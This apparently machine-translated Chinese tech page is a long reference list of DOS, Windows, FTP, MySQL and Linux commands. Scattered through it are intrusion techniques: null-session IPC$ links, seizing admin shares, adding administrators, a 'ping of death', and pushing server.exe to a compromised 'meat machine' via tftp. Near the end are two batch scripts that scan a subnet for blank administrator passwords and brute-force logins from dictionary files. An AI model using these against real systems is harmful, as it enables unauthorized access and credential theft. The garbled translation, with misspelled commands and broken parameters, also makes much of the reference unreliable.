In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/03 Report--
This article mainly introduces the "tutorial on the use of DOS". In the daily operation, I believe that many people have doubts about the use of DOS. The editor consulted all kinds of materials and sorted out simple and easy-to-use methods of operation. I hope it will be helpful for you to answer the doubts of "tutorial on the use of DOS"! Next, please follow the editor to study!
Net use\\ ip\ ipc$ "" / user: "" establish an empty IPC link
Net use\\ ip\ ipc$ "password" / user: "user name" to establish an IPC non-empty link
Net use h:\\ ip\ c $"password" / user: "user name" is mapped to the other party after logging in directly. C: to the local is H:
Net use h:\\ ip\ c$ after login, map the other party C: to the local H:
Net use\\ ip\ ipc$ / del remove the IPC link
Net use h: / del removes the mapping from the other party to the local H:
Net user username password / add establish user
Net user guest / active:yes activate guest user
Net user to see which users there are.
Net user account name View the properties of the account
Net localgroup administrators user name / add adds "user" to the administrator to give it administrator privileges. Note: add s to the plural after administrator.
Net start to see which services are enabled
The net start service name enables the service (e.g. net start telnet, net start schedule)
Net stop service name stop a service
Net time\\ Target ip to check each other's time
Net time\\ Target ip / set sets the local computer time to synchronize with the time of the "target IP" host, plus the parameter / yes to cancel the confirmation message
Net view to see which shares are enabled on the local LAN
Net view\\ ip to see which shares are enabled on the other party's LAN
Net config display system network settings
Net logoff disconnected sharing
Net pause service name pauses a service
Net send ip "text message" sends messages to each other.
Types and information of network connections in use within the net ver LAN
Net share to view locally opened shares
Net share ipc$ enables ipc$ sharing
Net share ipc$ / del delete ipc$ share
Net share c$ / del delete C: share
Net user guest 12345 changes the password to 12345 after logging in with guest.
Net password password change system login password
Netstat-a to check which ports are open, usually netstat-an
Netstat-n to view the network connection of the port, commonly used netstat-an
Netstat-v to view the work in progress
Netstat-p protocol name example: netstat-p tcq/ip to view a protocol usage (view tcp/ip protocol usage)
Netstat-s to view the usage of all protocols in use
If one of the ports of nbtstat-An ip is open, you can check the user name of the last login of the other party (user name before 03)-Note: parameter-A should be capitalized.
Tracert-the parameter ip (or computer name) tracks the route (packet), and the parameter "- w digit" is used to set the timeout interval.
Ping ip (or domain name) sends data with a default size of 32 bytes to the other host. The parameter: "- l [space] packet size"; "- n times of data sent"; "- t" refers to ping all the time.
Ping-t-l 65550 ip ping of death (sending files greater than 64K and ping all the time becomes the ping of death)
Ipconfig (winipcfg) is used for windows NT and XP (windows 9598) to view the local ip address. The parameter "/ all" available for ipconfig displays all configuration information.
Tlist-t shows the process in a tree line list (an additional tool for the system, which is not installed by default, in the Support/tools folder of the installation directory)
Kill-F process name plus-F parameter to force the termination of a process (an additional tool for the system, which is not installed by default, is in the Support/tools folder of the installation directory)
After adding the-F parameter to the del-F file name, you can delete read-only files. / AR, / AH, / AS, / AA means to delete read-only, hidden, system, and archived files, respectively. / AMUR, / AMUH, / AMUS, / AMUE A means to delete files other than read-only, hidden, system and archive. For example, "DEL/AR *. *" deletes all read-only files in the current directory, and "DEL/A-S *. *" deletes all files in the current directory except system files.
Del / S / Q directory or use: rmdir / s / Q directory / S to delete the directory and all subdirectories and files under the directory. At the same time, use the parameter / Q to cancel the deletion operation and delete it directly when the system confirms it. (the two commands have the same effect)
Move drive letter\ path\ File name to be moved path to the mobile file\ after the file name is moved, the prompt to cancel the confirmation that the same file exists in the mobile directory will be directly overwritten with the parameter / y.
Fc one.txt two.txt > 3st.txt compares the two files and outputs the differences to the 3st.txt file. ">" and "> >" are redirect commands.
At id opens a scheduled task that has been registered
At / delete stops all scheduled tasks. With parameter / yes, it stops without confirmation.
At id / delete to stop a registered scheduled task
At views all scheduled tasks
At\\ ip time program name (or a command) / r run a program at a certain time and restart the computer
Finger username @ host to see which users have logged in recently
Telnet ip port is far away and login server, default port is 23
Open ip connects to IP (command after telnet login)
Telnet will enter the local telnet by typing telnet directly on the local machine.
Copy path\ file name 1 path\ file name 2 / y copy file 1 to the specified directory as file 2, use the parameter / y to cancel and confirm that you want to rewrite an existing directory file
Copy c:\ srv.exe\\ ip\ admin$ copy local c:\ srv.exe to the other party's admin
Cppy 1st.jpg/b+2st.txt/a 3st.jpg hides the contents of 2st.txt into 1st.jpg to generate a new 3st.jpg file. Note: 2st.txt file header should be blank in three rows, parameter: / b refers to binary file, / a refers to ASCLL format file.
Copy\\ ip\ admin$\ svv.exe c:\ or: copy\\ ip\ admin$\ *. * copy the srv.exe files (all files) under the other party's admini$ share to the local C:
The target address of the file or directory tree to be copied by xcopy\ the directory name copies the file and the directory tree, and the same file will not be prompted to overwrite with the parameter / Y
Tftp-I own IP (meat machine IP when using meat machine as springboard) get server.exe c:\ server.exe, download the server.exe of "IP" to the target host c:\ server.exe parameter:-I means to transfer in binary mode, such as when transferring exe files, if you do not add-I, transfer in ASCII mode (transfer text file mode)
After tftp-I IP put c:\ server.exe logs in, upload the local c:\ server.exe to the host
The ftp ip port is used to upload files to the server or perform file operations. The default port is 21. Bin refers to binary transfer (executable file feed); defaults to ASCII format transfer (when text files)
Route print shows IP routes, which will mainly show network address Network addres, subnet mask Netmask, gateway address Gateway addres, interface address Interface
Arp looks at and processes the ARP cache. ARP means name resolution and is responsible for parsing an IP into a physical MAC address. Arp-a will display all the information
Start program name or command / max or / min opens a new window and maximizes (minimizes) running a program or command
Mem to view cpu usage
Attrib file name (directory name) view the properties of a file (directory)
Attrib file name-A-R-S-H or + A + R + S + H removes (adds) the archive, read-only, system, hidden attribute of a file, or adds as an attribute with +
Parameters: / Q shows which user the file and directory belong to, / dir C shows the creation time of the file, / dir A shows the time when the file was last accessed, and / TRAV W was last modified.
Date / t, time / t use this parameter, that is, "DATE/T" and "TIME/T" will only display the current date and time, without having to enter a new date and time
Set specifies the environment variable name = the character to assign to the variable sets the environment variable
Set displays all current environment variables
Set p (or other characters) displays all environment variables that currently begin with the character p (or other characters)
Pause pauses the batch program and displays: press any key to continue.
If performs conditional processing in a batch program (see if commands and variables for more instructions)
The goto tag directs the cmd.exe to the tagged line in the batch program (the label must be on a separate line and begin with a colon, for example: ": start" tag)
Call path\ batch filename calls another batch program from the batch program (see call /? for more instructions)
For executes a specific command on each file in a set of files (see for commands and variables for more instructions)
Echo on or off turns echo on or off. Only use echo without parameters to display the current echo settings.
Echo information displays information on the screen
Echo Information > > pass.txt saves the Information to the pass.txt file
Findstr "Hello" aa.txt looks for the string hello in the aa.txt file
Find a file by find filename
Title title name change CMD window title name
Color color values set the foreground and background colors of the cmd console; 0 = black, 1 = blue, 2 = green, 3 = light green, 4 = red, 5 = purple, 6 = yellow, 7 = white, 8 = gray, 9 = light blue, A = light green, B = light green, C = light red, D = lavender, E = light yellow, F = bright white
Prompt name changes the command prompt displayed by cmd.exe (change C:\, D:\ unified to: EntSky\)
Print file name print text file
Ver displays version information under the DOS window
Winver pops up a window showing version information (memory size, system version, patch version, computer name)
Format drive letter / FS: type format disk, type: FAT, FAT32, NTFS, for example: Format D: / FS:NTFS
Md directory name create directory
Directory replacement file for the replace source file to replace the file
Ren original file name new file name rename file name
Tree displays the directory in a tree structure, and the file names in the folder are listed with the parameter-f
The type file name displays the contents of the text file
More file name displays the output file screen by screen
Command = character to be locked by doskey
Doskey to unlock command = lock command provided for DOS (edit the command line, re-invoke the win2k command, and create a macro). For example: lock dir command: doskey dir=entsky (cannot use doskey dir=dir); unlock: doskey dir=
Taskmgr call-up Task Manager
Chkdsk / F D: check disk D and display status report; add parameter / f and fix errors on disk
Tlntadmn telnt service admn, type tlntadmn, select 3, and then select 8, you can change the telnet service default port 23 to any other port
Exit exits the cmd.exe program or currently, using parameter / B exits the current batch script instead of cmd.exe
Path path\ the file name of the executable sets a path for the executable.
Cmd launches a win2K command interpretation window. Parameters: / eff, / en turn off and enable command extension. For more details, please see cmd /?
Regedit / s registry file name is imported into the registry; parameter / S refers to quiet mode import without any prompt
Regedit / e registry file name export registry
The cacls filename parameter displays or modifies a file access control list (ACL) for NTFS format. Parameters: / D user name: set to deny a user access; / P user name: perm to replace the specified user's access rights; / G user name: perm gives the specified user access rights; Perm can be: n none, R read, W write, C change (write), F full control; for example: cacls D:\ test.txt / D pub setting d:\ test.txt deny pub user access.
Cacls filename View the list of access user permissions for the file
REM text content adds annotations to batch files
Netsh view or change local network configuration
IIS service commands:
Iisreset / reboot restart the win2k computer (but there is a prompt that the system restart message will appear)
Iisreset / start or stop start (stop) all Internet services
Iisreset / restart stop and restart all Internet services
Iisreset / status displays the status of all Internet services
Iisreset / enable or disable enable (disable) restart of the Internet service on the local system
Iisreset / rebootonerror when starting, stopping or restarting the Internet service, it will restart if an error occurs
Iisreset / noforce if the Internet service cannot be stopped, the Internet service will not be forcibly terminated
Iisreset / timeout Val still does not stop the Internet service when the time elapsed (seconds). If the / rebootonerror parameter is specified, the computer will restart. The default value is to restart for 20 seconds, stop for 60 seconds, and restart for 0 seconds.
FTP command: (more details later)
The command line format for ftp is:
Ftp-v-d-I-n-g [hostname]-v displays all the response information for the remote server.
-d uses debug mode.
-n restrict automatic login of ftp, that is, do not use .netrc files.
-g cancels the global file name.
Help [command] or? [command] View command description
Bye or quit terminates the host FTP process and exits FTP management.
Pwd lists the current remote host directory
Put or send local file name [file name uploaded to the host] transfers a local file to the remote host
Get or recv [remote host filename] [filename downloaded locally] is transferred from the remote host to the local host
Mget [remote-files] receives a batch of files from the remote host to the local host
Mput local-files transfers a batch of files from the local host to the remote host
Dir or ls [remote-directory] [local-file] lists the files in the current remote host directory. If there is a local file, write the result to the local file
Ascii setting to transfer files in ASCII mode (default)
Bin or image setting to transfer files in binary mode
Every time bell completes a file transfer, an alarm will be given.
Cdup returns to the previous directory
Close interrupts the ftp session with the remote server (corresponding to open)
Open host [port] establish a specified ftp server connection, and you can specify a connection port
Delete deletes files from the remote host
Mdelete [remote-files] deletes a batch of files
Mkdir directory-name sets up a directory in the remote host
Rename [from] [to] change the file name in the remote host
Rmdir directory-name deletes a directory from a remote host
Status displays the status of the current FTP
System displays the remote host system type
User user-name [password] [account] re-log in to the remote host with a different user name
Open host [port] re-establish a new connection
Prompt interactive prompt mode
Macdef define Macro Command
Lcd changes the working directory of the current local host. If default, it changes to the current user's HOME directory.
Chmod changes file permissions of remote hosts
When case is ON, the file names copied with the MGET command are transferred to the local machine and all converted to lowercase letters
Cd remote-dir enters the remote host directory
Cdup enters the parent directory of the remote host directory
! Perform interactive shell,exit in the local machine to return to the ftp environment, such as! ls*.zip
MYSQL command:
Mysql-h host address-u username-p password connection MYSQL; if MYSQL has just been installed, the superuser root does not have a password.
(example: mysql-h210.110.110.110-Uroot-P123456
Note: U and root can not add spaces, others are the same)
Exit exits MYSQL
Mysqladmin-u username-p old password password new password change password
Grant select on database. * to username @ login host identified by\ "password\"; add new users. (note: unlike the above, the following is a command in the MYSQL environment, so it is followed by a semicolon as the command Terminator)
Show databases; displays a list of databases. At the beginning, there were only two databases: mysql and test. The mysql library is very important. it contains the system information of MYSQL. We actually use this library to change passwords and add users.
Use mysql
Show tables; displays the data table in the library
Describe table name; displays the structure of the data table
Create database library name; build library.
Use library name
Create table table name (list of field settings); create table
Dro p database library name
Dro p table table name; delete library and delete table
Delete from table name; empty the records in the table
Select * from table name; displays records in the table
Mysqldump-- opt school > school.bbb backup database: (the command is executed in the DOS\\ mysql\\ bin directory); Note: back up the database school to the school.bbb file, school.bbb is a text file, the file name is taken, open to see what you will find.
New commands under win2003 system (practical part):
The shutdown / parameter shuts down or restarts the local or remote host.
Parameter description: / S shuts down the host, / R restarts the host, / T digits to set the delay time, range 0,180 seconds, / A cancels boot, / M / / IP specifies the remote host.
Example: shutdown / r / t 0 restarts the local host immediately (without delay)
Taskill / Parameter process name or process pid terminates one or more tasks and processes.
Parameter description: / PID to terminate the pid of the process, you can use the tasklist command to obtain the process name of the process to be terminated by the pid,/IM of each process, / F to force the termination of the process, / T to terminate the specified process and the child processes he started.
Tasklist displays the process identifiers (PID) of processes, services, and service processes currently running on local and remote hosts.
Parameter description: / M lists the dll file loaded by the current process, / SVC shows the corresponding service for each process, and only the current process is listed when there are no parameters.
Basic commands under Linux system: case-sensitive
Uname displays version information (same as ver of win2K)
Dir displays current directory files, ls-al display includes hidden files (same as dir of win2K)
Pwd queries the location of the current directory
Cd cd.. Go back to the previous directory and notice that cd and.. There is a space between them. Cd / return to the root directory.
Cat file name view file contents
Cat > abc.txt writes to the abc.txt file.
The more file name displays a text file on a page-by-page basis.
Cp copy Fil
Mv moves files
Rm file name delete file, rm-a directory name delete directory and subdirectory
Mkdir directory name set up a directory
Rmdir deletes the subdirectory and there are no documents in the directory.
Chmod sets access to files or directories
Grep looks for strings in the archive
Comparison of diff Archives
Find file search
Current date and time of date
Who queries the people who are currently using the same machine as you and the time and place of Login
W query the details of the current passengers.
Whoami check your account name.
Groups check someone's Group
Passwd change password
History checks the commands he has given
Ps displays the status of the process
Kill stops a process
Gcc hackers usually use it to compile files written in C language.
Su permissions are converted to the specified user
Telnet IP telnet connects to the other host (same as win2K). When bash$ appears, the connection is successful.
Ftp ftp connects to a server (same as win2K)
Attached: batch commands and variables
Basic format of 1:for commands and variables:
FOR / parameter% variable IN (set) DO command [command_parameters]% variable: specify a single letter replaceable parameter, such as:% I, while specifying a variable uses:% I, and when calling a variable:% I%, the variable is case sensitive (% I is not equal to% I).
A total of 10 variables can be processed in a batch from% 0 ip% 9, of which% 0 defaults to the batch file name, and% 1 defaults to the first value entered when using this batch. Similarly:% 2 ip% 9 refers to the 2-9 values entered; for example: ip is% 1 in ipc$ pass / user:user, ip is% 2, user is% 3.
(set): specify a file or group of files, using wildcards, such as (D:\ user.txt) and (11254) (1-1254). {"(1254)" the first "1" indicates the starting value, the second "1" refers to the growth, and the third "254refers to the end value, that is, from 1 to 254;" (1-1254) "description: from 254to 1}
Command: specifies the command to be executed on the first file, such as the net use command; if multiple commands are to be executed, the command is separated by: &
Command_parameters: specify parameters or command line switches for specific commands
IN (set): means to take a value in (set); DO command: means to execute command
Parameters: / L refers to the incremental form {(set) for incremental form}; / F refers to taking values from the file until the end {(set) is a file, such as (d:\ pass.txt)}.
Examples of usage:
@ echo off
Echo usage format: test.bat *. *. * > test.txt
For / L%% G in (11 254) do echo% 1% G > > test.txt & net use\\% 1% G / user:administrator | find "command completed successfully" > > test.txt
Save as test.bat description: for a specified class C network segment of 254IP in turn try to establish an administrator password is empty IPC$ connection, if successful, the IP is stored in the test.txt.
/ L refers to the first three bits of IP entered in incremental form: *.% G, the default for batch processing, is the variable (the last bit of ip); & it is used to separate the commands echo from net use; | after the ipc$ is established, use find to check whether there is a "command completed successfully" message in the result;% 1%% G is the complete IP address. (11 254) refers to the starting value, the amount of growth, and the ending value.
@ echo off
Echo usage format: ok.bat ip
FOR / F% I IN (D:\ user.dic) DO smb.exe% 1% I D:\ pass.dic 200
Save as: ok.exe description: after entering an IP, use the dictionary file d:\ pass.dic to expose the user password in d:\ user.dic until the values in the file are taken out. I is the user name; 1 is the entered IP address (default).
Basic format of 2:if commands and variables:
IF [not] errorlevel numeric command statement specifies that the condition is true if the program finally returns an exit code equal to or greater than the specified number.
Example: IF errorlevel 0 command refers to the command after the value line when the value returned by the program is 0; IF not errorlevel 1 command means that the last value returned by the program execution is not equal to 1, then the following command is executed.
0 refers to discovery and successful execution (true); 1 refers to no discovery, no execution (false).
IF [not] string 1 string = string 2 command statement executes the following command if the specified text string matches (that is, string 1 equals string 2).
Example: "if"% 2 "=" 4 "goto start" means: if the second variable entered is 4, execute the following command (note: when calling the variable, the variable name is% and add "")
IF [not] exist filename command statement executes the following command if the specified filename exists.
Example: "if not nc.exe goto end" means: if you do not find the nc.exe file, skip to the ": end" tag.
IF [not] errorlevel numeric command statement else command statement or IF [not] string 1 "= string 2 command statement else command statement or IF [not] exist file name command statement else command statement plus: else command statement means: when the previous condition is not true, it refers to the command after the line else. Note: else must be on the same line as if to be valid. When there is a del command, you need to use the full contents of the del command.
< >To sum up, because the del command can only be executed on a separate line, use the
< >After that is equivalent to a separate line; for example: "if exist test.txt. Else echo test.txt.missing", pay attention to the "." in the command.
At this point, the study on the "tutorial on the use of DOS" is over. I hope to be able to solve your doubts. The collocation of theory and practice can better help you learn, go and try it! If you want to continue to learn more related knowledge, please continue to follow the website, the editor will continue to work hard to bring you more practical articles!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.